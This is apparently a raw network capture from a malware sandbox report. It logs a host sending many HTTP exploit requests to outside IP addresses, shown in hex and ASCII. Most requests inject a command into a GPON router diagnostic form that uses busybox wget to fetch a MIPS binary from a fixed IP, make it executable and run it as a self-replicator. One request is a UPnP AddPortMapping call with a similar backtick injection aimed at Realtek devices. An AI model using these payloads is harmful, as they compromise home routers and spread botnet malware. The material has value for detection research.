Raw: Data Ascii:
Apr 15, 2024 08:52:17.251481056 CEST	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.13	38576	104.20.127.149	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:15.435014009 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:15.587769032 CEST	328	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 15 Apr 2024 06:52:15 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.13	53078	90.218.1.8	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:15.576576948 CEST	307	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:15.875664949 CEST	318	IN	HTTP/1.1 404 Not Found Connection: close Content-Type: text/html Date: Mon, 15 Apr 2024 06:52:15 GMT X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1 X-Content-Type-Options: nosniff Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 66 66 66 66 66 66 22 3e 3c 48 34 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 34 3e 0d 0a 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY BGCOLOR="#ffffff"><H4>404 Not Found</H4>File not found.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.13	35332	34.110.226.235	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:15.587416887 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.13	42222	206.189.169.147	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:15.605667114 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:15.765568972 CEST	355	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Mon, 15 Apr 2024 06:52:15 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.13	45602	18.141.62.54	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:15.620315075 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:15.958470106 CEST	284	IN	HTTP/1.1 400 Bad Request Server: awselb/2.0 Date: Mon, 15 Apr 2024 06:52:15 GMT Content-Type: text/html Content-Length: 122 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.13	54266	164.248.78.18	52869

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:15.747782946 CEST	918	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 3b 20 2f 74 6d 70 2f 61 20 72 65 61 6c 74 65 6b 2e 73 65 6c 66 72 65 70 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`chmod 777 /tmp/a; /tmp/a realtek.selfrep`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:52:15.906903028 CEST	1288	IN	HTTP/1.1 503 Service Unavailable Content-Type: text/html; charset=UTF-8 Content-Length: 11709 Connection: close P3P: CP="CAO PSA OUR" Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 50 50 4c 49 43 41 54 49 4f 4e 20 42 4c 4f 43 4b 45 44 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 23 63 7b 62 6f 72 64 65 72 3a 33 70 78 20 73 6f 6c 69 64 20 23 61 61 61 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 6d 61 72 67 69 6e 3a 32 30 3b 70 61 64 64 69 6e 67 3a 32 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 0a 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 37 2c 68 38 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 0a 68 32 2c 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 7d 0a 68 31 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 32 7b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 33 7b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 35 7b 6d 61 72 67 69 6e 3a 32 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 36 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 37 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 38 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 35 36 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 7d 0a 62 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 65 37 65 38 65 39 22 3e 0a 3c 64 69 76 20 69 64 3d 22 63 22 3e 0a 3c 68 31 3e 0a 3c 69 6d 67 20 77 69 64 74 68 3d 22 35 30 30 22 20 73 72 63 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 6a 70 65 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 66 51 41 41 41 42 66 43 41 59 41 41 41 41 65 65 6a 55 54 41 41 41 57 6c 55 6c 45 51 56 52 34 58 75 31 64 43 66 53 33 78 52 52 2b 45 69 48 4b 6b 69 49 6c 61 61 4f 79 6c 45 4a 4b 53 65 67 6f 57 34 68 30 4f 4b 58 51 6b 65 78 4c 6c 70 41 74 74 4b 47 4f 49 78 57 79 5a 6b 39 6f 51 32 52 72 49 55 75 70 4a 45 4a 55 6f 74 4b 69 49 69 48 4f 55 2b 2b 63 4d 39 2f 30 4c 6a 4e 33 35 74 31 2b 33 33 50 50 2b 5a 39 76 2b 63 2f 63 75 66 50 4d 76 50 50 4d 63 75 66 4f 4d 70 41 49 41 53 45 67 42 49 53 41 45 42 41 43 73 30 64 67 6d 64 6e 58 51 42 55 51 41 6b 4a 41 43 41 67 42 49 53 41 45 49 45 4a 58 4a 78 41 43 51 6b 41 49 43 41 45 68 73 41 41 49 69 4e 41 58 6f 42 46 56 42 53 45 67 42 49 53 41 45 42 41 43 49 6e 54 31 41 53 45 67 Data Ascii: <html><head><title>APPLICATION BLOCKED</title><style>#c{border:3px solid #aaa;background-color:#fff;margin:20;padding:20;font-family:Tahoma,Helvetica,Arial,sans-serif;font-size:12px;}h1,h2,h3,h4,h5,h6,h7,h8{font-weight:bold;}h2,h3{font-size:20px;}h1{text-align:center;font-size:22px;color:#cc0000;}h2{color:#330066;}h3{color:#666;}h4{font-size:16px;color:#666;}h5{margin:20;text-align:left;font-size:12px;color:#666;}h6{font-size:16px;color:#cc0000;}h7{font-size:14px;color:#330066;}h8{text-align:center;font-size:56px;color:#330066;font-weight:bold;text-decoration:underline;}b{font-size:16px;font-weight:bold;color:#cc0000;}</style></head><body bgcolor="#e7e8e9"><div id="c"><h1><img width="500" src="data:image/jpeg;base64,iVBORw0KGgoAAAANSUhEUgAAAfQAAABfCAYAAAAeejUTAAAWlUlEQVR4Xu1dCfS3xRR+EiHKkiIlaaOylEJKSegoW4h0OKXQkexLlpAttKGOIxWyZk9oQ2RrIUupJEJUotKiIiHOU++cM9/0LjN35t1+33PP+Z9v+c/cufPMvPPMcufOMpAIASEgBISAEBACs0dgmdnXQBUQAkJACAgBISAEIEJXJxACQkAICAEhsAAIiNAXoBFVBSEgBISAEBACInT1ASEg

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.13	47714	142.250.11.94	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:15.785248995 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:16.094038010 CEST	1289	IN	HTTP/1.0 411 Length Required Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1564 Date: Mon, 15 Apr 2024 06:52:15 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 31 31 20 28 4c 65 6e 67 74 68 20 52 65 71 75 69 72 65 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 411 (Length Required)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min
Apr 15, 2024 08:52:16.094049931 CEST	460	IN	Data Raw: 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c Data Ascii: -device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//w

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.13	51528	20.141.70.208	80

Timestamp	Bytes transferred	Direction	Data
